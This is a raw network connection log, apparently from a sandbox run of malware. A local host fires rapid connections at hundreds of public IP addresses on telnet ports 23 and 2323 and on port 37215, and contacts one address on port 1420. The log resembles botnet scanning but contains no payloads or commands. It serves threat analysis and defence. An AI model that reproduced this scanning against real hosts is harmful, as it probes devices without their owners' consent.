Oct 8, 2024 20:34:54.019854069 CEST	48168	23	192.168.2.14	156.147.42.32
Oct 8, 2024 20:34:54.019869089 CEST	48168	23	192.168.2.14	35.17.30.175
Oct 8, 2024 20:34:54.019869089 CEST	48168	23	192.168.2.14	130.230.226.16
Oct 8, 2024 20:34:54.021625996 CEST	48168	23	192.168.2.14	24.21.78.252
Oct 8, 2024 20:34:54.025840044 CEST	23	33910	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:54.025876045 CEST	23	34090	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:54.025907993 CEST	23	48168	57.77.202.7	192.168.2.14
Oct 8, 2024 20:34:54.025938988 CEST	2323	48168	201.23.181.69	192.168.2.14
Oct 8, 2024 20:34:54.025969028 CEST	34090	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:54.025985956 CEST	48168	23	192.168.2.14	57.77.202.7
Oct 8, 2024 20:34:54.025995016 CEST	23	48168	69.45.175.67	192.168.2.14
Oct 8, 2024 20:34:54.026024103 CEST	48168	2323	192.168.2.14	201.23.181.69
Oct 8, 2024 20:34:54.026026964 CEST	23	48168	197.212.41.229	192.168.2.14
Oct 8, 2024 20:34:54.026038885 CEST	48168	23	192.168.2.14	69.45.175.67
Oct 8, 2024 20:34:54.026057005 CEST	23	48168	98.71.185.158	192.168.2.14
Oct 8, 2024 20:34:54.026058912 CEST	48168	23	192.168.2.14	197.212.41.229
Oct 8, 2024 20:34:54.026087999 CEST	23	48168	47.245.125.178	192.168.2.14
Oct 8, 2024 20:34:54.026096106 CEST	48168	23	192.168.2.14	98.71.185.158
Oct 8, 2024 20:34:54.026119947 CEST	23	48168	190.72.203.2	192.168.2.14
Oct 8, 2024 20:34:54.026137114 CEST	48168	23	192.168.2.14	47.245.125.178
Oct 8, 2024 20:34:54.026151896 CEST	2323	48168	62.56.0.176	192.168.2.14
Oct 8, 2024 20:34:54.026159048 CEST	48168	23	192.168.2.14	190.72.203.2
Oct 8, 2024 20:34:54.026180983 CEST	23	48168	119.83.142.235	192.168.2.14
Oct 8, 2024 20:34:54.026194096 CEST	48168	2323	192.168.2.14	62.56.0.176
Oct 8, 2024 20:34:54.026211023 CEST	23	48168	172.201.25.205	192.168.2.14
Oct 8, 2024 20:34:54.026226044 CEST	48168	23	192.168.2.14	119.83.142.235
Oct 8, 2024 20:34:54.026242018 CEST	23	48168	189.210.229.12	192.168.2.14
Oct 8, 2024 20:34:54.026256084 CEST	48168	23	192.168.2.14	172.201.25.205
Oct 8, 2024 20:34:54.026271105 CEST	23	48168	89.97.125.90	192.168.2.14
Oct 8, 2024 20:34:54.026283026 CEST	48168	23	192.168.2.14	189.210.229.12
Oct 8, 2024 20:34:54.026300907 CEST	23	48168	112.181.240.83	192.168.2.14
Oct 8, 2024 20:34:54.026309967 CEST	48168	23	192.168.2.14	89.97.125.90
Oct 8, 2024 20:34:54.026331902 CEST	23	48168	158.140.222.219	192.168.2.14
Oct 8, 2024 20:34:54.026361942 CEST	23	48168	140.225.130.231	192.168.2.14
Oct 8, 2024 20:34:54.026384115 CEST	48168	23	192.168.2.14	112.181.240.83
Oct 8, 2024 20:34:54.026385069 CEST	48168	23	192.168.2.14	158.140.222.219
Oct 8, 2024 20:34:54.026391983 CEST	23	48168	63.89.238.144	192.168.2.14
Oct 8, 2024 20:34:54.026397943 CEST	48168	23	192.168.2.14	140.225.130.231
Oct 8, 2024 20:34:54.026432991 CEST	48168	23	192.168.2.14	63.89.238.144
Oct 8, 2024 20:34:54.026447058 CEST	23	48168	116.180.220.86	192.168.2.14
Oct 8, 2024 20:34:54.026478052 CEST	23	48168	206.159.9.68	192.168.2.14
Oct 8, 2024 20:34:54.026493073 CEST	48168	23	192.168.2.14	116.180.220.86
Oct 8, 2024 20:34:54.026508093 CEST	23	48168	2.161.228.33	192.168.2.14
Oct 8, 2024 20:34:54.026519060 CEST	48168	23	192.168.2.14	206.159.9.68
Oct 8, 2024 20:34:54.026541948 CEST	2323	48168	8.93.205.226	192.168.2.14
Oct 8, 2024 20:34:54.026577950 CEST	23	48168	17.93.59.180	192.168.2.14
Oct 8, 2024 20:34:54.026592016 CEST	48168	2323	192.168.2.14	8.93.205.226
Oct 8, 2024 20:34:54.026597977 CEST	48168	23	192.168.2.14	2.161.228.33
Oct 8, 2024 20:34:54.026606083 CEST	23	48168	180.77.12.242	192.168.2.14
Oct 8, 2024 20:34:54.026621103 CEST	48168	23	192.168.2.14	17.93.59.180
Oct 8, 2024 20:34:54.026634932 CEST	23	48168	44.88.101.60	192.168.2.14
Oct 8, 2024 20:34:54.026654959 CEST	48168	23	192.168.2.14	180.77.12.242
Oct 8, 2024 20:34:54.026667118 CEST	23	48168	170.96.167.85	192.168.2.14
Oct 8, 2024 20:34:54.026696920 CEST	23	48168	223.185.152.211	192.168.2.14
Oct 8, 2024 20:34:54.026726007 CEST	23	48168	193.92.157.35	192.168.2.14
Oct 8, 2024 20:34:54.026737928 CEST	48168	23	192.168.2.14	223.185.152.211
Oct 8, 2024 20:34:54.026782036 CEST	23	48168	99.5.79.58	192.168.2.14
Oct 8, 2024 20:34:54.026799917 CEST	48168	23	192.168.2.14	44.88.101.60
Oct 8, 2024 20:34:54.026799917 CEST	48168	23	192.168.2.14	193.92.157.35
Oct 8, 2024 20:34:54.026799917 CEST	48168	23	192.168.2.14	170.96.167.85
Oct 8, 2024 20:34:54.026813984 CEST	23	48168	36.5.196.193	192.168.2.14
Oct 8, 2024 20:34:54.026818037 CEST	48168	23	192.168.2.14	99.5.79.58
Oct 8, 2024 20:34:54.026844978 CEST	23	48168	68.212.127.167	192.168.2.14
Oct 8, 2024 20:34:54.026846886 CEST	48168	23	192.168.2.14	36.5.196.193
Oct 8, 2024 20:34:54.026875973 CEST	23	48168	110.141.174.17	192.168.2.14
Oct 8, 2024 20:34:54.026884079 CEST	48168	23	192.168.2.14	68.212.127.167
Oct 8, 2024 20:34:54.026906967 CEST	2323	48168	53.63.43.179	192.168.2.14
Oct 8, 2024 20:34:54.026912928 CEST	48168	23	192.168.2.14	110.141.174.17
Oct 8, 2024 20:34:54.026937008 CEST	23	48168	207.46.231.195	192.168.2.14
Oct 8, 2024 20:34:54.026947021 CEST	48168	2323	192.168.2.14	53.63.43.179
Oct 8, 2024 20:34:54.026967049 CEST	23	48168	73.126.144.168	192.168.2.14
Oct 8, 2024 20:34:54.026995897 CEST	23	48168	8.192.198.118	192.168.2.14
Oct 8, 2024 20:34:54.027004957 CEST	48168	23	192.168.2.14	73.126.144.168
Oct 8, 2024 20:34:54.027024031 CEST	23	48168	94.230.48.20	192.168.2.14
Oct 8, 2024 20:34:54.027053118 CEST	23	48168	155.92.155.139	192.168.2.14
Oct 8, 2024 20:34:54.027055025 CEST	48168	23	192.168.2.14	207.46.231.195
Oct 8, 2024 20:34:54.027055025 CEST	48168	23	192.168.2.14	8.192.198.118
Oct 8, 2024 20:34:54.027081966 CEST	23	48168	34.203.179.29	192.168.2.14
Oct 8, 2024 20:34:54.027091026 CEST	48168	23	192.168.2.14	155.92.155.139
Oct 8, 2024 20:34:54.027098894 CEST	48168	23	192.168.2.14	94.230.48.20
Oct 8, 2024 20:34:54.027112007 CEST	23	48168	114.39.29.107	192.168.2.14
Oct 8, 2024 20:34:54.027116060 CEST	48168	23	192.168.2.14	34.203.179.29
Oct 8, 2024 20:34:54.027149916 CEST	48168	23	192.168.2.14	114.39.29.107
Oct 8, 2024 20:34:54.161448002 CEST	1420	36630	45.137.198.211	192.168.2.14
Oct 8, 2024 20:34:54.161679029 CEST	36630	1420	192.168.2.14	45.137.198.211
Oct 8, 2024 20:34:54.527486086 CEST	60178	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:54.527506113 CEST	58854	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:54.527506113 CEST	37752	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:54.527506113 CEST	44898	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:54.527515888 CEST	43924	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:54.527520895 CEST	53232	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:54.527520895 CEST	59892	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:54.527544022 CEST	38768	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:54.527544022 CEST	39124	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:54.527544022 CEST	60646	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:54.527544022 CEST	48208	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:54.533818007 CEST	37215	60178	156.223.144.169	192.168.2.14
Oct 8, 2024 20:34:54.533916950 CEST	37215	37752	156.124.250.23	192.168.2.14
Oct 8, 2024 20:34:54.533947945 CEST	37215	58854	156.36.221.25	192.168.2.14
Oct 8, 2024 20:34:54.533981085 CEST	60178	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:54.534008980 CEST	37215	43924	156.207.208.73	192.168.2.14
Oct 8, 2024 20:34:54.534018993 CEST	37752	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:54.534041882 CEST	37215	44898	156.36.51.231	192.168.2.14
Oct 8, 2024 20:34:54.534044981 CEST	43924	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:54.534085035 CEST	44898	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:54.534116030 CEST	37215	38768	156.199.215.78	192.168.2.14
Oct 8, 2024 20:34:54.534152031 CEST	37215	39124	197.84.216.15	192.168.2.14
Oct 8, 2024 20:34:54.534157038 CEST	38768	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:54.534182072 CEST	37215	60646	156.184.134.85	192.168.2.14
Oct 8, 2024 20:34:54.534190893 CEST	39124	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:54.534210920 CEST	37215	48208	41.124.133.105	192.168.2.14
Oct 8, 2024 20:34:54.534219027 CEST	60646	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:54.534240007 CEST	37215	53232	197.193.39.52	192.168.2.14
Oct 8, 2024 20:34:54.534249067 CEST	48208	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:54.534267902 CEST	37215	59892	156.32.183.41	192.168.2.14
Oct 8, 2024 20:34:54.534292936 CEST	58854	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:54.534303904 CEST	53232	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:54.534303904 CEST	59892	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:54.534327984 CEST	60178	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:54.534337044 CEST	60178	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:54.534797907 CEST	60606	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:54.535363913 CEST	58854	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:54.535382032 CEST	58854	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:54.535773039 CEST	59282	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:54.536386013 CEST	37752	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:54.536386013 CEST	37752	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:54.536734104 CEST	38180	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:54.537169933 CEST	53232	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:54.537169933 CEST	53232	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:54.537523985 CEST	53660	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:54.537906885 CEST	43924	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:54.537906885 CEST	43924	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:54.538254023 CEST	44352	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:54.538662910 CEST	44898	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:54.538681030 CEST	44898	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:54.538978100 CEST	45326	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:54.539380074 CEST	39124	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:54.539380074 CEST	39124	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:54.539680958 CEST	39534	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:54.540152073 CEST	38768	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:54.540152073 CEST	38768	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:54.540460110 CEST	39178	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:54.541141033 CEST	60646	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:54.541141033 CEST	60646	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:54.541493893 CEST	32822	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:54.541927099 CEST	48208	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:54.541927099 CEST	48208	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:54.542268991 CEST	48612	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:54.542648077 CEST	48169	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:54.542648077 CEST	48169	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:54.542675018 CEST	48169	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:34:54.542675018 CEST	48169	37215	192.168.2.14	156.126.200.175
Oct 8, 2024 20:34:54.542676926 CEST	48169	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:54.542676926 CEST	48169	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:54.542680025 CEST	48169	37215	192.168.2.14	41.113.31.144
Oct 8, 2024 20:34:54.542680025 CEST	48169	37215	192.168.2.14	197.163.232.58
Oct 8, 2024 20:34:54.542689085 CEST	48169	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:34:54.542701960 CEST	48169	37215	192.168.2.14	156.240.192.197
Oct 8, 2024 20:34:54.542704105 CEST	48169	37215	192.168.2.14	197.41.200.182
Oct 8, 2024 20:34:54.542714119 CEST	48169	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:34:54.542714119 CEST	48169	37215	192.168.2.14	197.69.143.158
Oct 8, 2024 20:34:54.542715073 CEST	48169	37215	192.168.2.14	197.22.60.61
Oct 8, 2024 20:34:54.542717934 CEST	48169	37215	192.168.2.14	156.190.184.19
Oct 8, 2024 20:34:54.542723894 CEST	48169	37215	192.168.2.14	41.218.37.60
Oct 8, 2024 20:34:54.542727947 CEST	48169	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:34:54.542746067 CEST	48169	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:54.542746067 CEST	48169	37215	192.168.2.14	156.166.209.196
Oct 8, 2024 20:34:54.542752028 CEST	48169	37215	192.168.2.14	156.60.195.206
Oct 8, 2024 20:34:54.542762041 CEST	48169	37215	192.168.2.14	41.150.102.212
Oct 8, 2024 20:34:54.542772055 CEST	48169	37215	192.168.2.14	156.185.63.71
Oct 8, 2024 20:34:54.542782068 CEST	48169	37215	192.168.2.14	156.143.124.66
Oct 8, 2024 20:34:54.542788029 CEST	48169	37215	192.168.2.14	41.1.145.144
Oct 8, 2024 20:34:54.542788029 CEST	48169	37215	192.168.2.14	156.226.59.25
Oct 8, 2024 20:34:54.542795897 CEST	48169	37215	192.168.2.14	197.107.207.131
Oct 8, 2024 20:34:54.542800903 CEST	48169	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:54.542804003 CEST	48169	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:54.542818069 CEST	48169	37215	192.168.2.14	41.149.36.112
Oct 8, 2024 20:34:54.542819023 CEST	48169	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:54.542820930 CEST	48169	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:54.542820930 CEST	48169	37215	192.168.2.14	197.94.3.176
Oct 8, 2024 20:34:54.542821884 CEST	48169	37215	192.168.2.14	197.173.191.22
Oct 8, 2024 20:34:54.542836905 CEST	48169	37215	192.168.2.14	156.161.23.72
Oct 8, 2024 20:34:54.542836905 CEST	48169	37215	192.168.2.14	41.139.137.93
Oct 8, 2024 20:34:54.542838097 CEST	48169	37215	192.168.2.14	197.6.73.124
Oct 8, 2024 20:34:54.542851925 CEST	48169	37215	192.168.2.14	156.31.129.169
Oct 8, 2024 20:34:54.542857885 CEST	48169	37215	192.168.2.14	197.220.54.210
Oct 8, 2024 20:34:54.542861938 CEST	48169	37215	192.168.2.14	197.221.14.204
Oct 8, 2024 20:34:54.542881966 CEST	48169	37215	192.168.2.14	197.107.242.21
Oct 8, 2024 20:34:54.542881966 CEST	48169	37215	192.168.2.14	41.82.227.223
Oct 8, 2024 20:34:54.542886972 CEST	48169	37215	192.168.2.14	156.172.230.219
Oct 8, 2024 20:34:54.542895079 CEST	48169	37215	192.168.2.14	197.21.106.14
Oct 8, 2024 20:34:54.542901039 CEST	48169	37215	192.168.2.14	41.178.191.75
Oct 8, 2024 20:34:54.542902946 CEST	48169	37215	192.168.2.14	197.55.77.244
Oct 8, 2024 20:34:54.542917967 CEST	48169	37215	192.168.2.14	197.2.48.216
Oct 8, 2024 20:34:54.542923927 CEST	48169	37215	192.168.2.14	41.154.111.78
Oct 8, 2024 20:34:54.542923927 CEST	48169	37215	192.168.2.14	197.137.225.159
Oct 8, 2024 20:34:54.542923927 CEST	48169	37215	192.168.2.14	41.37.253.155
Oct 8, 2024 20:34:54.542943954 CEST	48169	37215	192.168.2.14	156.138.102.195
Oct 8, 2024 20:34:54.542944908 CEST	48169	37215	192.168.2.14	41.133.151.103
Oct 8, 2024 20:34:54.542953014 CEST	48169	37215	192.168.2.14	197.195.179.2
Oct 8, 2024 20:34:54.542957067 CEST	48169	37215	192.168.2.14	156.44.236.149
Oct 8, 2024 20:34:54.542962074 CEST	48169	37215	192.168.2.14	197.141.134.110
Oct 8, 2024 20:34:54.542965889 CEST	48169	37215	192.168.2.14	197.136.202.35
Oct 8, 2024 20:34:54.542979956 CEST	48169	37215	192.168.2.14	156.91.234.115
Oct 8, 2024 20:34:54.542999029 CEST	48169	37215	192.168.2.14	156.159.180.239
Oct 8, 2024 20:34:54.542999983 CEST	48169	37215	192.168.2.14	197.207.48.150
Oct 8, 2024 20:34:54.543001890 CEST	48169	37215	192.168.2.14	197.217.43.63
Oct 8, 2024 20:34:54.543001890 CEST	48169	37215	192.168.2.14	156.112.163.10
Oct 8, 2024 20:34:54.543001890 CEST	48169	37215	192.168.2.14	156.69.194.145
Oct 8, 2024 20:34:54.543004990 CEST	48169	37215	192.168.2.14	156.32.208.101
Oct 8, 2024 20:34:54.543010950 CEST	48169	37215	192.168.2.14	156.241.196.165
Oct 8, 2024 20:34:54.543028116 CEST	48169	37215	192.168.2.14	41.166.29.225
Oct 8, 2024 20:34:54.543030024 CEST	48169	37215	192.168.2.14	41.145.3.125
Oct 8, 2024 20:34:54.543035030 CEST	48169	37215	192.168.2.14	156.109.114.146
Oct 8, 2024 20:34:54.543035030 CEST	48169	37215	192.168.2.14	41.248.32.95
Oct 8, 2024 20:34:54.543035030 CEST	48169	37215	192.168.2.14	41.74.13.18
Oct 8, 2024 20:34:54.543037891 CEST	48169	37215	192.168.2.14	41.200.149.12
Oct 8, 2024 20:34:54.543041945 CEST	48169	37215	192.168.2.14	41.29.55.235
Oct 8, 2024 20:34:54.543041945 CEST	48169	37215	192.168.2.14	41.56.73.161
Oct 8, 2024 20:34:54.543047905 CEST	48169	37215	192.168.2.14	197.79.64.194
Oct 8, 2024 20:34:54.543050051 CEST	48169	37215	192.168.2.14	197.91.124.82
Oct 8, 2024 20:34:54.543055058 CEST	48169	37215	192.168.2.14	156.117.53.190
Oct 8, 2024 20:34:54.543056011 CEST	48169	37215	192.168.2.14	41.57.229.92
Oct 8, 2024 20:34:54.543059111 CEST	48169	37215	192.168.2.14	197.87.160.54
Oct 8, 2024 20:34:54.543065071 CEST	48169	37215	192.168.2.14	197.9.38.195
Oct 8, 2024 20:34:54.543073893 CEST	48169	37215	192.168.2.14	197.179.237.77
Oct 8, 2024 20:34:54.543075085 CEST	48169	37215	192.168.2.14	197.254.170.251
Oct 8, 2024 20:34:54.543076038 CEST	48169	37215	192.168.2.14	156.199.176.254
Oct 8, 2024 20:34:54.543087959 CEST	48169	37215	192.168.2.14	156.61.171.168
Oct 8, 2024 20:34:54.543097019 CEST	48169	37215	192.168.2.14	41.17.139.2
Oct 8, 2024 20:34:54.543103933 CEST	48169	37215	192.168.2.14	41.13.174.113
Oct 8, 2024 20:34:54.543103933 CEST	48169	37215	192.168.2.14	41.192.33.219
Oct 8, 2024 20:34:54.543119907 CEST	48169	37215	192.168.2.14	197.137.199.127
Oct 8, 2024 20:34:54.543119907 CEST	48169	37215	192.168.2.14	41.2.218.10
Oct 8, 2024 20:34:54.543123960 CEST	48169	37215	192.168.2.14	197.69.208.35
Oct 8, 2024 20:34:54.543137074 CEST	48169	37215	192.168.2.14	41.65.225.182
Oct 8, 2024 20:34:54.543138981 CEST	48169	37215	192.168.2.14	156.165.115.67
Oct 8, 2024 20:34:54.543140888 CEST	48169	37215	192.168.2.14	156.171.112.157
Oct 8, 2024 20:34:54.543142080 CEST	48169	37215	192.168.2.14	156.244.99.251
Oct 8, 2024 20:34:54.543157101 CEST	48169	37215	192.168.2.14	41.210.243.182
Oct 8, 2024 20:34:54.543158054 CEST	48169	37215	192.168.2.14	197.136.109.44
Oct 8, 2024 20:34:54.543162107 CEST	48169	37215	192.168.2.14	156.131.0.171
Oct 8, 2024 20:34:54.543176889 CEST	48169	37215	192.168.2.14	41.168.221.180
Oct 8, 2024 20:34:54.543179989 CEST	48169	37215	192.168.2.14	41.192.42.233
Oct 8, 2024 20:34:54.543179989 CEST	48169	37215	192.168.2.14	197.50.40.134
Oct 8, 2024 20:34:54.543184042 CEST	48169	37215	192.168.2.14	197.26.240.7
Oct 8, 2024 20:34:54.543186903 CEST	48169	37215	192.168.2.14	156.13.211.130
Oct 8, 2024 20:34:54.543198109 CEST	48169	37215	192.168.2.14	197.41.125.14
Oct 8, 2024 20:34:54.543200970 CEST	48169	37215	192.168.2.14	197.86.40.57
Oct 8, 2024 20:34:54.543201923 CEST	48169	37215	192.168.2.14	41.151.140.80
Oct 8, 2024 20:34:54.543211937 CEST	48169	37215	192.168.2.14	41.103.204.200
Oct 8, 2024 20:34:54.543212891 CEST	48169	37215	192.168.2.14	197.199.19.174
Oct 8, 2024 20:34:54.543217897 CEST	48169	37215	192.168.2.14	197.235.215.202
Oct 8, 2024 20:34:54.543225050 CEST	48169	37215	192.168.2.14	156.60.249.102
Oct 8, 2024 20:34:54.543229103 CEST	48169	37215	192.168.2.14	156.6.8.178
Oct 8, 2024 20:34:54.543239117 CEST	48169	37215	192.168.2.14	41.98.176.204
Oct 8, 2024 20:34:54.543241024 CEST	48169	37215	192.168.2.14	41.186.154.163
Oct 8, 2024 20:34:54.543257952 CEST	48169	37215	192.168.2.14	41.3.211.200
Oct 8, 2024 20:34:54.543262005 CEST	48169	37215	192.168.2.14	41.83.78.137
Oct 8, 2024 20:34:54.543263912 CEST	48169	37215	192.168.2.14	156.55.229.21
Oct 8, 2024 20:34:54.543278933 CEST	48169	37215	192.168.2.14	197.183.182.10
Oct 8, 2024 20:34:54.543283939 CEST	48169	37215	192.168.2.14	197.100.235.31
Oct 8, 2024 20:34:54.543286085 CEST	48169	37215	192.168.2.14	197.137.136.151
Oct 8, 2024 20:34:54.543289900 CEST	48169	37215	192.168.2.14	41.210.135.54
Oct 8, 2024 20:34:54.543289900 CEST	48169	37215	192.168.2.14	156.169.44.50
Oct 8, 2024 20:34:54.543299913 CEST	48169	37215	192.168.2.14	197.168.203.131
Oct 8, 2024 20:34:54.543299913 CEST	48169	37215	192.168.2.14	156.209.52.171
Oct 8, 2024 20:34:54.543311119 CEST	48169	37215	192.168.2.14	156.10.55.86
Oct 8, 2024 20:34:54.543318987 CEST	48169	37215	192.168.2.14	156.157.170.158
Oct 8, 2024 20:34:54.543337107 CEST	48169	37215	192.168.2.14	197.106.30.193
Oct 8, 2024 20:34:54.543338060 CEST	48169	37215	192.168.2.14	197.114.29.199
Oct 8, 2024 20:34:54.543338060 CEST	48169	37215	192.168.2.14	197.136.54.174
Oct 8, 2024 20:34:54.543339014 CEST	48169	37215	192.168.2.14	41.242.230.113
Oct 8, 2024 20:34:54.543338060 CEST	48169	37215	192.168.2.14	197.207.14.83
Oct 8, 2024 20:34:54.543338060 CEST	48169	37215	192.168.2.14	156.45.193.136
Oct 8, 2024 20:34:54.543353081 CEST	48169	37215	192.168.2.14	41.40.253.29
Oct 8, 2024 20:34:54.543363094 CEST	48169	37215	192.168.2.14	197.68.93.183
Oct 8, 2024 20:34:54.543368101 CEST	48169	37215	192.168.2.14	41.78.172.213
Oct 8, 2024 20:34:54.543368101 CEST	48169	37215	192.168.2.14	156.124.121.167
Oct 8, 2024 20:34:54.543380976 CEST	48169	37215	192.168.2.14	156.179.7.203
Oct 8, 2024 20:34:54.543410063 CEST	48169	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:34:54.543417931 CEST	48169	37215	192.168.2.14	156.234.162.132
Oct 8, 2024 20:34:54.543418884 CEST	48169	37215	192.168.2.14	197.227.236.103
Oct 8, 2024 20:34:54.543432951 CEST	48169	37215	192.168.2.14	197.196.109.246
Oct 8, 2024 20:34:54.543438911 CEST	48169	37215	192.168.2.14	41.203.64.141
Oct 8, 2024 20:34:54.543441057 CEST	48169	37215	192.168.2.14	197.112.88.34
Oct 8, 2024 20:34:54.543441057 CEST	48169	37215	192.168.2.14	41.45.9.9
Oct 8, 2024 20:34:54.543448925 CEST	48169	37215	192.168.2.14	41.38.141.34
Oct 8, 2024 20:34:54.543458939 CEST	48169	37215	192.168.2.14	197.189.123.36
Oct 8, 2024 20:34:54.543462038 CEST	48169	37215	192.168.2.14	156.151.51.37
Oct 8, 2024 20:34:54.543476105 CEST	48169	37215	192.168.2.14	156.3.19.114
Oct 8, 2024 20:34:54.543476105 CEST	48169	37215	192.168.2.14	197.163.49.85
Oct 8, 2024 20:34:54.543483019 CEST	48169	37215	192.168.2.14	156.231.216.182
Oct 8, 2024 20:34:54.543483019 CEST	48169	37215	192.168.2.14	197.226.67.45
Oct 8, 2024 20:34:54.543495893 CEST	48169	37215	192.168.2.14	197.51.220.210
Oct 8, 2024 20:34:54.543500900 CEST	48169	37215	192.168.2.14	197.97.89.181
Oct 8, 2024 20:34:54.543504953 CEST	48169	37215	192.168.2.14	41.4.45.94
Oct 8, 2024 20:34:54.543519974 CEST	48169	37215	192.168.2.14	41.196.251.73
Oct 8, 2024 20:34:54.543524027 CEST	48169	37215	192.168.2.14	41.134.12.237
Oct 8, 2024 20:34:54.543533087 CEST	48169	37215	192.168.2.14	197.62.121.213
Oct 8, 2024 20:34:54.543544054 CEST	48169	37215	192.168.2.14	41.5.53.182
Oct 8, 2024 20:34:54.543559074 CEST	48169	37215	192.168.2.14	156.156.31.184
Oct 8, 2024 20:34:54.543559074 CEST	48169	37215	192.168.2.14	156.122.236.239
Oct 8, 2024 20:34:54.543569088 CEST	48169	37215	192.168.2.14	41.253.88.16
Oct 8, 2024 20:34:54.543572903 CEST	48169	37215	192.168.2.14	197.44.11.150
Oct 8, 2024 20:34:54.543575048 CEST	48169	37215	192.168.2.14	41.229.40.17
Oct 8, 2024 20:34:54.543576002 CEST	48169	37215	192.168.2.14	156.88.172.188
Oct 8, 2024 20:34:54.543580055 CEST	48169	37215	192.168.2.14	156.132.15.73
Oct 8, 2024 20:34:54.543580055 CEST	48169	37215	192.168.2.14	41.115.251.185
Oct 8, 2024 20:34:54.543587923 CEST	48169	37215	192.168.2.14	41.119.242.253
Oct 8, 2024 20:34:54.543603897 CEST	48169	37215	192.168.2.14	41.64.48.129
Oct 8, 2024 20:34:54.543606997 CEST	48169	37215	192.168.2.14	41.253.117.247
Oct 8, 2024 20:34:54.543608904 CEST	48169	37215	192.168.2.14	197.23.207.15
Oct 8, 2024 20:34:54.543616056 CEST	48169	37215	192.168.2.14	156.204.41.208
Oct 8, 2024 20:34:54.543622017 CEST	48169	37215	192.168.2.14	41.213.171.179
Oct 8, 2024 20:34:54.543625116 CEST	48169	37215	192.168.2.14	197.69.39.148
Oct 8, 2024 20:34:54.543634892 CEST	48169	37215	192.168.2.14	197.137.156.43
Oct 8, 2024 20:34:54.543653965 CEST	48169	37215	192.168.2.14	41.101.195.191
Oct 8, 2024 20:34:54.543654919 CEST	48169	37215	192.168.2.14	197.65.200.227
Oct 8, 2024 20:34:54.543654919 CEST	48169	37215	192.168.2.14	156.17.205.14
Oct 8, 2024 20:34:54.543673992 CEST	48169	37215	192.168.2.14	156.114.75.157
Oct 8, 2024 20:34:54.543673992 CEST	48169	37215	192.168.2.14	197.26.77.112
Oct 8, 2024 20:34:54.543673992 CEST	48169	37215	192.168.2.14	156.69.146.199
Oct 8, 2024 20:34:54.543675900 CEST	48169	37215	192.168.2.14	41.245.9.39
Oct 8, 2024 20:34:54.543689013 CEST	48169	37215	192.168.2.14	41.254.142.221
Oct 8, 2024 20:34:54.543694019 CEST	48169	37215	192.168.2.14	156.253.216.216
Oct 8, 2024 20:34:54.543704987 CEST	48169	37215	192.168.2.14	41.179.33.212
